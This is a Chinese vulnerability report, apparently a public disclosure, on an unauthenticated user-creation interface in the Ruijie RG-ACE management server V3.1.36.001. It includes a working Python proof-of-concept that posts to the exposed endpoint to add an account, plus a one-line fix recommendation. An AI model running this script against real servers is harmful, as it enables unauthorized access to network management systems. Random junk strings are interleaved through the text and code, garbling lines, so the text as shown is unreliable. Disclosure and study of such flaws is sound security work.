锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)3 F: c1 V# _% C1 V9 _! R# k
2 i* q! P' i d6 {4 G4 ^, P9 j
# b0 U; s/ w* N& n/ J+ f
测试的具体版本是
I: @. O4 M& l4 E1 e9 y" s- B产品名称: 锐捷应用控制引擎
) X1 X- ?7 y8 u7 _版本号: 3.1.36.001 TC
. l9 Q) ~6 F- {( J5 c编译时间: 201104291730' |( s6 s4 M) [! [
+ a& }$ O" S |- A
) i8 g9 B9 f+ k5 F" ~1 ~
漏洞证明:
! o6 V( Y! D. `/ E; j 0 C/ j1 Y2 L7 S6 ?' S
( P! f7 Z% K- Q3 I' l# _" n/ J- k; F: h* |& h& P
; |* J. w( p9 {/ ?' E y3 x4 m* x9 R. q& e) @' d; P' j
' m8 w [! }; k, L! E& H执行脚本, H/ M" R$ o9 Q
#! /usr/bin/env python: L; ^1 H3 ?7 P) }+ c
#coding=gbk. T5 ^* `: W9 e3 y
#RG-ACE管理服务器 V3.1.36.001
( d8 b& K% w/ ~3 f) ]5 K- ~, Himport urllib2, urllib,cookielib2 U J1 E& ~# L7 ^
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP( y! q) W# Y3 E3 I. P
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
" H6 i4 [$ s, ?4 s$ J8 mopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
% R5 l( ?3 E3 s7 C1 B3 p; p, Lpost=(("event","userManager.doInsertUserInfo"),
0 W8 ?0 E6 N: V8 }: p( n! p("useractionname","addButtonValue"),% s$ [' @" V2 G5 h
("useropermanager","userManager"),
0 n- ^) G$ D# S("userName","t"), #######账号自己加7 w. \' J$ j% Q5 {% ^1 O- x9 ~
("pwd","aaaaaa"),######密码自己加
0 c+ s( q' ?) |* d9 \; W; x("trueName","ad"),
1 x8 e2 Z$ X5 H; \) n j) c3 D("email",""),
7 l8 D) [7 Z+ q* e("mobilePhone",""),
5 U* b- D- I, a8 D1 w8 L$ H- A3 W("officePhone",""),
! t2 _! M- a5 U5 N$ [, ~7 ^("addr",""),
; T a2 X4 b* _- W8 j; O2 L("submit","确定"))
$ _6 o; Q! `, y( n* v Gurllib2.install_opener(opener)3 J3 A8 H: {; i1 a
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
& L. b1 G7 o! {0 k8 p$ oprint "Done"
0 w7 Q# X3 [5 `; q) R ~% r+ _ |
登录,连接设备
* f# P5 V; F, S+ h0 S$ y0 ]0 z- B+ [8 Z. D3 m; @: ~7 m8 H
" `! f! G1 F0 W) v+ Z' m0 q; V5 W7 A
, S5 D+ I# ~) U7 K6 p' e Z$ }# h; B- v+ ?* Q1 {! w2 @# w- c
1 G) r' O- n4 B D8 l1 h+ @4 v默认的管理员admin权限更大点2 r5 F. W0 F$ }
" s' h4 [' z% d( D# v9 P
8 L* x6 A, Q0 S) ?. U- @) z6 a- w8 S+ x+ I; V- j
7 m6 h w# q7 G6 i1 @: q' W6 ?2 p0 ^% S5 g. Q9 c
修复方案:
9 w) d* E1 B+ F/ D$ Z加强对接口的权限验证
+ ~' J1 @0 c, ]' k+ i2 v
p! g8 \# }$ M" { J$ R$ [* C |